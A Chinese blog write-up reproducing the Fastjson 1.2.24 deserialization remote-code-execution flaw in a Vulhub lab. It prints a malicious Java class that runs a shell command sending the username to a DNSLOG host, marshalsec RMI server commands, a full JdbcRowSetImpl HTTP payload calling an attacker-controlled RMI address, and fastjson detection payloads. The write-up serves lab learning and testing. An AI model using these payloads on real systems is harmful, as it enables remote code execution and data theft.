Fastjson1.2.24RCE漏洞复现

环境搭建

这里用的Vulhub靶场

cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d

报错

ERROR: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io: Temporary failure in name resolution

名称解析失效,我的问题是虚拟机NAT网络出了点问题,重启就好了。

参考:https://blog.csdn.net/qq_43743460/article/details/105648139

靶机环境:

Ubuntu 16 :Vulhub

Kali :

jdk 1.8 + maven 3.6.3

如果maven没有安装的话需要自己百度搭一下或者参考我这篇

docker环境起来后访问 ip:8090查看,页面是这样的。

大致流程:

编写恶意类 --> 编译为class文件 --> 在class的目录用python开一个HTTP服务 --> marshalsec起一个RMI服务 --> 构造包触发反序列化点远程加载恶意类 --> 执行命令

1234端口用Python起一个SimpleHTTPServer

9999端口利用marshalsec项目起一个RMI服务

HTTPServer与RMI可以在同一个服务器搭

将下面代码写入dnslog.java

import java.lang.Runtime;
import java.lang.Process; public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.DNSLOG地址"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

生成 test.class文件

javac test.java

之后python起一个http服务,监听在1234端口上

python -m SimpleHTTPServer 1234

用marshalsec项目起一个RMI服务,监听9999端口并加载远程类dnslog.class

git clone https://github.com/mbechler/marshalsec.git
# mvn编译 marshalsec项目
mvn clean package -DskipTests

编译完成会出现如下图的 BUILD SUCCESS 的INFO信息。

开启RMI服务并加载dnslog类

cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.124.141:4567/#dnslog" 9999

漏洞复现

ok,下面burp抓包发送payload即可,因为DNS解析的问题,第一次解析会有些慢需要多等会。

poc:

POST / HTTP/1.1
Host: 192.168.124.153:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 174 {
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.124.141:9999/dnslog",
"autoCommit":true
}
}

响应包和DNSLOG:

RMI服务:

SimpleHTTPServer:

判断fastjson

这里参考的是freebuf大佬的思路,主要是根据返回包判断,再一个就是DNSLOG盲打。文末贴上传送门。

即看到json的返回包,抓个包,POST只加个 { 发过去,如果返回包报错存在fastjson字样就确认了。当然这个了能会屏蔽。

比如vulhub靶场这个就不可以了

或构造以下payload,利用dnslog平台接收。

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"} 畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} "@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}} ["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type": "java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}

Reference

https://www.freebuf.com/articles/web/242712.html

https://www.cnblogs.com/cute-puli/p/13466362.html

Fastjson1.2.24RCE漏洞复现的更多相关文章

  1. Fastjson <=1.2.62 远程代码执行-漏洞复现

    影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = "{\"@type\":\"org.apa ...

  2. Fastjson远程代码执行漏洞复现

    fastjson漏洞简介 Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式.它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令 ...

  3. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  4. 【S2-052】漏洞复现(CVE-2017-9805)

    一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...

  5. markdown反射型xss漏洞复现

    markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...

  6. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  7. Struts2-052 漏洞复现

    s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...

  8. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  9. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

随机推荐

  1. Codeforces Round #565 (Div. 3) C. Lose it! (思维)

    题意:给你一串只含\(4,8,15,16,23,42\)的序列,如果它满足长度是\(6\)的倍数并且有\(\frac {k}{6}\)个子序列是\([4,8,15,16,23,42]\),则定义它是好 ...

  2. 六、Python集合定义和基本操作方法

    一.集合的定义方法及特点 1.特点: (1)由不同元素组成 #集合由不同元素构成 s={1,2,3,3,4,3,3,} print(s)#运行结果:{1, 2, 3, 4} (2)集合无序 #集合无序 ...

  3. C++程序代码优化的方法

    1.选择合适的算法和数据结构 选择一种合适的数据结构很重要,如果在一堆随机存放的数中使用了大量的插入和删除指令,那使用链表要快得多.数组与指针语句具有十分密切的关系,一般来说,指针比较灵活简洁,而数组 ...

  4. redis持久化-AOF

    1.aof文件写入与同步 2.aof重写 重写的目的是为了减小aof文件的体积,redis服务器可以创建一个新的aof文件来代替现有的aof文件,新文件不会有冗余的命令. BGREWRITEAOF:遍 ...

  5. 2020 Web 全栈面经

    2020 Web 全栈面经 1.简历 2. 技术 3. 项目 4. 架构 5. 沟通,协作 6.成长 7. 面试技巧 准备 电话确认,面试流程,五险一金缴纳情况 有无笔试,几轮,面试时间,答复时间 细 ...

  6. Android Jetpack All In One

    Android Jetpack All In One 在2018年,我们推出了Android Jetpack作为一组库,以帮助开发人员遵循最佳实践,减少样板代码以及编写可在Android版本和设备之间 ...

  7. 一文搞懂 js 中的各种 for 循环的不同之处

    一文搞懂 js 中的各种 for 循环的不同之处 See the Pen for...in vs for...of by xgqfrms (@xgqfrms) on CodePen. for &quo ...

  8. react hooks useEffect 取消 promise

    react hooks useEffect 取消 promise cancel promise https://github.com/facebook/react/issues/15006#issue ...

  9. js字典

    传送门https://www.2cto.com/kf/201709/680989.html 点击

  10. 法兰西金融专访SPC空投重磅来袭

    最近,法兰西金融日报联合德意志财经等知名金融媒体就SPC这一话题进行了专访. 法兰西金融日报记者德维尔斯问到,之前2020年的BGV项目等市场反响异常火爆,2021年已经来到,NGK目前有何新的大动作 ...